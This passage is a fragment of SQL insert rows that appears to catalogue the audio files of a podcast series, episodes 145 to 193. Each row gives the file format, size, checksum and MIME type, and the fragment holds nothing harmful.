(145,'hpr0145.spx','spx',1898382,'6578fdd71ee9ca078b3e17b30e76e25030035733','application/ogg; charset=binary','Ogg data, Speex audio'),
(146,'hpr0146.mp3','mp3',2522764,'18c4631e7a7c8700c7e07d8c1dd1c7b47b28e985','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(146,'hpr0146.ogg','ogg',4642513,'20850bcd3e823b642b1363b916c1440c7f5c386c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(146,'hpr0146.spx','spx',1544738,'ac19b19088c906b1bf17de029d8c407d8f09ceef','application/ogg; charset=binary','Ogg data, Speex audio'),
(147,'hpr0147.mp3','mp3',2542344,'fe7bf94d885f27e60de4cb0590696019381a2f9c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(147,'hpr0147.ogg','ogg',2121299,'b94a8214112350c43a18a39b615f4f15c3d5d07c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(147,'hpr0147.spx','spx',1167161,'17f53fb6c0550149a20dbef91933ef88fa545b2e','application/ogg; charset=binary','Ogg data, Speex audio'),
(148,'hpr0148.mp3','mp3',22088205,'492aff925743578e830b7fdbc5af6747c784bf6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(148,'hpr0148.ogg','ogg',16710031,'82746f87733fcec29ada865d42a1eb93a9d12904','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(148,'hpr0148.spx','spx',5071545,'f81aabb076a65981d6e6752d8f3ff27dc52f11e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(149,'hpr0149.mp3','mp3',14921492,'3ffca4b2fc3756adce2e9175d7a1f88e5f9bfe0d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  80 kbps, 8 kHz, Stereo'),
(149,'hpr0149.ogg','ogg',5261430,'d0a73d5506e8bd1692cb9f0b4531f4d10e56e4ba','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(149,'hpr0149.spx','spx',5481604,'af38a5d697619027ae4671873f14aeb5e1679b6a','application/ogg; charset=binary','Ogg data, Speex audio'),
(150,'hpr0150.mp3','mp3',10849478,'783576e7efd07dd5eb6216a7a2a080a5d22ec9a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(150,'hpr0150.ogg','ogg',7695105,'f879cda1fd6705c25891451686baea375ab6edce','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(150,'hpr0150.spx','spx',2491226,'2955c72500d12d63377579b01446d9befc5f2235','application/ogg; charset=binary','Ogg data, Speex audio'),
(151,'hpr0151.mp3','mp3',4202400,'9c13f62742a7fc308fff8adf7602be9f7044d876','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(151,'hpr0151.ogg','ogg',4898045,'11800b71629850c28d5840990071a84c363f4b12','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(151,'hpr0151.spx','spx',2573088,'fdcfaddbefc1d3b618cee7a0634aa8c48d718a06','application/ogg; charset=binary','Ogg data, Speex audio'),
(152,'hpr0152.mp3','mp3',20351062,'35967d0f4394b2e5470bd9f2deced63a69a4d663','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(152,'hpr0152.ogg','ogg',25451822,'ec6da544907de1ae2c0d77afa7d34e3cdfdaa3c2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(152,'hpr0152.spx','spx',7474070,'f5c5103623af0e2636d81d2f47738e4da4b9c431','application/ogg; charset=binary','Ogg data, Speex audio'),
(153,'hpr0153.mp3','mp3',3873822,'6df03b817c75a77c152981a133fed012681c4d54','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(153,'hpr0153.ogg','ogg',3097171,'5df9610b66b15e71a7a4a099a089acbdf9751e87','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(153,'hpr0153.spx','spx',889585,'baacb7bd2f43b757f1d14414ec1c34c19819dc53','application/ogg; charset=binary','Ogg data, Speex audio'),
(154,'hpr0154.mp3','mp3',8469298,'3b9336e6afefd8369c65fd746d117d39a24eaad9','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(154,'hpr0154.ogg','ogg',5660764,'c15ddde4b66a037d5c685df13966abb6b091f92b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(154,'hpr0154.spx','spx',1944742,'5223b706cd8ede5d1a4cb0ad365fc519d66e4964','application/ogg; charset=binary','Ogg data, Speex audio'),
(155,'hpr0155.mp3','mp3',10740887,'92daa07017d36e57b7ce6b3dacf88885aa33cbce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  32 kbps, 44.1 kHz, Stereo'),
(155,'hpr0155.ogg','ogg',8392968,'8e7072f4aae45e4faf5931b75c0e6e9174a070b0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(155,'hpr0155.spx','spx',2665151,'376e531ee20812ae0282c2c08ddcd77dc7a0d8d7','application/ogg; charset=binary','Ogg data, Speex audio'),
(156,'hpr0156.mp3','mp3',7000044,'85f1b5d175687c536ee0cea1666c3dffddf21dd3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(156,'hpr0156.ogg','ogg',5966985,'2a19db890fa38faad92fc7fae718749ff5bd6da0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(156,'hpr0156.spx','spx',3518044,'7181ec175a4e8336d27c45bd1b2c1e29333f9676','application/ogg; charset=binary','Ogg data, Speex audio'),
(157,'hpr0157.mp3','mp3',5647908,'540d11906c1509bc0d90b197ad8397b1c3cc5140','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(157,'hpr0157.ogg','ogg',4063783,'598efb839445e9eafec6095c35f46be913fc6b44','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(157,'hpr0157.spx','spx',1296916,'6cec8f06b89239a1e565219ab4912344a88a2aba','application/ogg; charset=binary','Ogg data, Speex audio'),
(158,'hpr0158.mp3','mp3',23970164,'ffa721b3de3d7d2eaee59f43dd2a2957d0e66468','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(158,'hpr0158.ogg','ogg',30968190,'b1ebe08acb57756ae73c2cc08e453f40befc729f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(158,'hpr0158.spx','spx',14676408,'caba6af63c5131f4ae3fd6f80d2bcf99506b503a','application/ogg; charset=binary','Ogg data, Speex audio'),
(159,'hpr0159.mp3','mp3',12973944,'df47f5e8e03a20ef53ba768ba4ee8c23a573ef7e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  56 kbps, 24 kHz, Stereo'),
(159,'hpr0159.ogg','ogg',11200302,'afd3882834ad852db1e4814414974cc98d96f077','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(159,'hpr0159.spx','spx',6808543,'41065709289c4f875324dbfea7b662f165796788','application/ogg; charset=binary','Ogg data, Speex audio'),
(160,'hpr0160.mp3','mp3',9795985,'fe65ee28fc8ff371f53f7f0942c6d5f272cbda84','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(160,'hpr0160.ogg','ogg',8470446,'36fa2849ed9f0b9526bdc387aa4ed4c909f3c763','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(160,'hpr0160.spx','spx',2998777,'279bad1eea0837cecb8b6fcb2e86021a62cabefb','application/ogg; charset=binary','Ogg data, Speex audio'),
(161,'hpr0161.mp3','mp3',28622959,'70bbedc69c26c3371c005250b005c8f8bc58531c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(161,'hpr0161.ogg','ogg',16525040,'e0c37444f19a2765ba91a6f4e3e0eb6c788463b7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(161,'hpr0161.spx','spx',5347004,'7de0e5f98134f8d47ca15dbcc221f4a9df3f2d12','application/ogg; charset=binary','Ogg data, Speex audio'),
(162,'hpr0162.mp3','mp3',16930851,'f60feeacabcdca3a415ef0a24f667152158d38b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Monaural'),
(162,'hpr0162.ogg','ogg',4431720,'f6a34b46c110facd33cb411fbd1a9569f259bb69','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(162,'hpr0162.spx','spx',3780856,'5e57248fe93a8e4e370f39ffe59707061116ceec','application/ogg; charset=binary','Ogg data, Speex audio'),
(163,'hpr0163.mp3','mp3',5784433,'029f18031714f6df5edef1b53b49245d670d7fab','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  56 kbps, 24 kHz, Stereo'),
(163,'hpr0163.ogg','ogg',4868308,'80fcff67f091782620bcb005c285dd37d2acce31','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(163,'hpr0163.spx','spx',3035885,'4b23aaf67246ddcbf79be43fea1178707d638b7c','application/ogg; charset=binary','Ogg data, Speex audio'),
(164,'hpr0164.mp3','mp3',4876906,'d099e811e5975dcc813cdeddfa475018046d215e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(164,'hpr0164.ogg','ogg',3583947,'4801ef644e404ae1813124cffef4831addf9e76b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(164,'hpr0164.spx','spx',1119852,'a91d6f4b89e0e6abf7c664d0192fc1a6215ac849','application/ogg; charset=binary','Ogg data, Speex audio'),
(165,'hpr0165.mp3','mp3',16419367,'a5b4aac35df3134d32c2289219509c29f80c6dee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(165,'hpr0165.ogg','ogg',13205465,'581c3809f760f827336402e555fe6c5a844a6508','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(165,'hpr0165.spx','spx',3769980,'bae8a126d897c7e86f2d4f35920d75d6a4174b36','application/ogg; charset=binary','Ogg data, Speex audio'),
(166,'hpr0166.mp3','mp3',3920362,'d4ec127882b6d7350589e2b38cc291b7758f368f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(166,'hpr0166.ogg','ogg',3895118,'97fb5006da0faf81e0b9a5f5924a86b078623ffd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(166,'hpr0166.spx','spx',1439965,'0f216ab32f399740fdf08ba9e9b5851952eeaf85','application/ogg; charset=binary','Ogg data, Speex audio'),
(167,'hpr0167.mp3','mp3',38747798,'d7a4e2eac83125255c24fec7be2c87a0776c4bbf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(167,'hpr0167.ogg','ogg',52647960,'f250033857babb0b152fe979fd235f516ad5b549','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(167,'hpr0167.spx','spx',23724605,'9c45367b3c284bee6c1cbcec4984c821b681501b','application/ogg; charset=binary','Ogg data, Speex audio'),
(168,'hpr0168.mp3','mp3',36150236,'535def2d783a7a625ee4e175f97614f2eabe8cbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  48 kbps, 22.05 kHz, Stereo'),
(168,'hpr0168.ogg','ogg',33304743,'386400b3002009521feed6718f1d452702e363d5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(168,'hpr0168.spx','spx',22134141,'d4a229ff869a45affae20210835b7c7c7b1b1113','application/ogg; charset=binary','Ogg data, Speex audio'),
(169,'hpr0169.mp3','mp3',7910891,'b8fb93d82aea06c722ffb1ee4480e86004758c10','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(169,'hpr0169.ogg','ogg',6601579,'85a740d84cd2ca79a597e6e2ac7bf88a847f2baf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(169,'hpr0169.spx','spx',4307430,'f3283dd489a90196331a458729221deae1036785','application/ogg; charset=binary','Ogg data, Speex audio'),
(170,'hpr0170.mp3','mp3',3760570,'33560dddc0441dc0911e76dd9bb8b195897c5839','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(170,'hpr0170.ogg','ogg',5234419,'d8a1f4bd2cbcf7402e1045f10f1be8c96c7d3907','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(170,'hpr0170.spx','spx',1726966,'58d736f89294f517712b4b4acdcb4b289993e479','application/ogg; charset=binary','Ogg data, Speex audio'),
(171,'hpr0171.mp3','mp3',5548792,'255c0e0fa8f0647c2c291633c98cc504a5a07ed0','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(171,'hpr0171.ogg','ogg',4371348,'e686e8c42143df8fddfce0a2fba52c1ee75221f4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(171,'hpr0171.spx','spx',1274224,'279e87544ff9cfeba73cc83ceae7a4283136e5c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(172,'hpr0172.mp3','mp3',4417022,'e436b878345bc0e2d3df908f154fabc33942b2ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(172,'hpr0172.ogg','ogg',5498790,'357d52f7c1bd722268ca8d899ed9d5e675d0e06e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(172,'hpr0172.spx','spx',2027991,'0942b028c89f259c795d42211d7534d048d7c6b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(173,'hpr0173.mp3','mp3',10042666,'06706e248e2e4a787579885db9e954e4043b46ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  56 kbps, 44.1 kHz, Stereo'),
(173,'hpr0173.ogg','ogg',11336444,'6bfe04bc564ca43031422d11415a808b58bfa4e2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(173,'hpr0173.spx','spx',5270598,'a4c4eb6c4ad13336cb92f0b7a5417be7e4c07edc','application/ogg; charset=binary','Ogg data, Speex audio'),
(174,'hpr0174.mp3','mp3',12642138,'bf8d00cb644ab8b05c13eb96abbfbe579f992afc','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(174,'hpr0174.ogg','ogg',11607800,'bd630c9d277ebecd19d6fef4c7bbd1ce43bb6211','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(174,'hpr0174.spx','spx',5646343,'280574ba885f69a69b73aec775a523cfec028157','application/ogg; charset=binary','Ogg data, Speex audio'),
(175,'hpr0175.mp3','mp3',26045498,'d1b851e49fbb812c264cde0a016f59fd0191985d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(175,'hpr0175.ogg','ogg',41855413,'5b9c3996403f7dc60b44f4b58c2123da5b317ef8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(175,'hpr0175.spx','spx',11960440,'2cd6d355fd0d3da5c9c0de648a54783d505a56dc','application/ogg; charset=binary','Ogg data, Speex audio'),
(176,'hpr0176.mp3','mp3',62798321,'5a064fd614c0c0a88c143f22a7c1e5a4f589627f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(176,'hpr0176.ogg','ogg',43220275,'0ba49b549d68c4e0e1fe67cb824ca497dfb6bd9b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(176,'hpr0176.spx','spx',28837715,'48273e073ce6d3781b9ffc3b95840fb5005f2f07','application/ogg; charset=binary','Ogg data, Speex audio'),
(177,'hpr0177.mp3','mp3',2619931,'0b3ca3ebe2d797fe81b3f11b7a455a7b347ba520','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(177,'hpr0177.ogg','ogg',3785612,'527a7a45adc85863278a2bf013793844f44dc669','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(177,'hpr0177.spx','spx',1203174,'236b27b2f909a878c8b39319589a9254a4c5d0c0','application/ogg; charset=binary','Ogg data, Speex audio'),
(178,'hpr0178.mp3','mp3',6893768,'18031a629b0fe0c83151e8f935a4b1ba95a989b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(178,'hpr0178.ogg','ogg',8914597,'eacaa4afd2422c08c8227aca4246ea1e8046badc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(178,'hpr0178.spx','spx',3165786,'23bb8033968d7bbbe0298e9fa09dc542ac210dc3','application/ogg; charset=binary','Ogg data, Speex audio'),
(179,'hpr0179.mp3','mp3',5687368,'ae092d8d07aa06c93b6b1e0d9f3d47bb6b65a760','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  32 kbps, 44.1 kHz, Stereo'),
(179,'hpr0179.ogg','ogg',4454922,'4dbc046ed248b7da4cdb2020426e28467e8c8545','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(179,'hpr0179.spx','spx',1396552,'f1655320a21c869888546b786f08bc581bb87d80','application/ogg; charset=binary','Ogg data, Speex audio'),
(180,'hpr0180.mp3','mp3',6402318,'bfc73536fd2f642061274e349e6933310e76ddd8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  56 kbps, 24 kHz, Stereo'),
(180,'hpr0180.ogg','ogg',5556615,'93a4fedb549362c799684b764ebcbc6540089e1d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(180,'hpr0180.spx','spx',3359045,'716c9902c061a1fa8719af79f3aeb524ff6b7d5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(181,'hpr0181.mp3','mp3',12594734,'d6af31c9472513213f7745ca2e17937294771afd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(181,'hpr0181.ogg','ogg',13693023,'e335c93a85ff6a0d00df1ec9ae8b63883548ec07','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(181,'hpr0181.spx','spx',5783724,'ec3fc64fcd25939e9468f20b9e1bfdb322d9f872','application/ogg; charset=binary','Ogg data, Speex audio'),
(182,'hpr0182.mp3','mp3',27888107,'b337a2a5aac985e68606274c37086dbfe7e92245','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(182,'hpr0182.ogg','ogg',29492897,'4fe040e49355f50e12097df9acf10480a981d17b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(182,'hpr0182.spx','spx',17075402,'e2ed2febe0d36c5c049b187c5410e9b9e6301cad','application/ogg; charset=binary','Ogg data, Speex audio'),
(183,'hpr0183.mp3','mp3',44603592,'aaf638c5e1d2b1f74305a52987568a9a93668c51','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 16 kHz, Stereo'),
(183,'hpr0183.ogg','ogg',30326004,'1cdca00f710e4b5a3aeec6557a736c57be3b8f84','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(183,'hpr0183.spx','spx',20482509,'926db5d7b31cc4a11891f8848fcb668e9145c9da','application/ogg; charset=binary','Ogg data, Speex audio'),
(184,'hpr0184.mp3','mp3',29332502,'0ff36db3e65994746a9ebd9449083821b816a5d3','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(184,'hpr0184.ogg','ogg',18820717,'2ce2cb52b8f5f2a0728f562ec1fe5e3cfaf4abce','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(184,'hpr0184.spx','spx',6735157,'08ee91e3ddf2f171581c064dfe5fae4dcc37971a','application/ogg; charset=binary','Ogg data, Speex audio'),
(185,'hpr0185.mp3','mp3',5560708,'4e59311b91d21ea542b13260e0614c20cd357d2f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(185,'hpr0185.ogg','ogg',4932423,'90078128dbbc72a88d05e8c4ad479115dd318671','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(185,'hpr0185.spx','spx',1702349,'81b3fb7fe162a379ccad5a8169582a38059655d3','application/ogg; charset=binary','Ogg data, Speex audio'),
(186,'hpr0186.mp3','mp3',11785322,'ae6362d938cd03b6a4c233203b15045ff07eaa51','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(186,'hpr0186.ogg','ogg',13713587,'66afb61d4a5207c367196381d8fe43c0a6481231','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(186,'hpr0186.spx','spx',5412041,'3b323b62250ebbc7f2bffbcc3b1c49b4380289d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(187,'hpr0187.mp3','mp3',16319351,'83b7264630d527eee0012d7adc29e041627f4360','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(187,'hpr0187.ogg','ogg',7089587,'8959841cc4d8940d46ad448b22530999f5230e5e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(187,'hpr0187.spx','spx',7493988,'96a7dffa6bf2c356e154fc1e696783b7ec3911b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(188,'hpr0188.mp3','mp3',19163353,'af470525afa11cb2f281f96c94bc31f9aee0ab65','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(188,'hpr0188.ogg','ogg',14886138,'51980434636abb770cbcd3d285a12aa2392c5db2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(188,'hpr0188.spx','spx',4400005,'164eb194a0486611e16eeb8a25912ecd9e81a538','application/ogg; charset=binary','Ogg data, Speex audio'),
(189,'hpr0189.mp3','mp3',28193611,'b41305e3158b7b4d80ec3d61c1d71f981311b252','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(189,'hpr0189.ogg','ogg',34438781,'c7b2e144b78a490d5b86d38241fe602f0b36f072','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(189,'hpr0189.spx','spx',12946910,'2cc8bc352dc248efdc73bdbd49a5324eb3768b19','application/ogg; charset=binary','Ogg data, Speex audio'),
(190,'hpr0190.mp3','mp3',24870614,'9f084ee28a8ee9628a2323a694b49c6666e0ef49','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(190,'hpr0190.ogg','ogg',27066229,'357380b160dd3640ea9e25f65a8a9c3235fb0215','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(190,'hpr0190.spx','spx',15227910,'e9e6a7a070d2f5be19d9f3ddecbc83caafabc2c7','application/ogg; charset=binary','Ogg data, Speex audio'),
(191,'hpr0191.mp3','mp3',48201249,'cfe2873a1852bba364a8c9709f6020d2ba1632a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(191,'hpr0191.ogg','ogg',32879411,'a99ed41b5fcf5cc71282f2fd2e0f89874859c22e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(191,'hpr0191.spx','spx',22134287,'4e67472b2d84db6f4a8fd512d1b84ec913a08c4a','application/ogg; charset=binary','Ogg data, Speex audio'),
(192,'hpr0192.mp3','mp3',2197372,'576cbb9280c6544631b6eb5bab1ca00770dc8a56','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(192,'hpr0192.ogg','ogg',1804221,'d5db4c174af583e99da3f81289eb648c29c574a2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(192,'hpr0192.spx','spx',1009112,'6c180229b1534c06e1d0d8fe88f0795e694def40','application/ogg; charset=binary','Ogg data, Speex audio'),
(193,'hpr0193.mp3','mp3',17472358,'b396a06e77145f94d88a416b2dbd9f00cc046f92','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(193,'hpr0193.ogg','ogg',16652408,'85748c8510fd35859e5602ee8011d57bcd04d28a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 48000 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
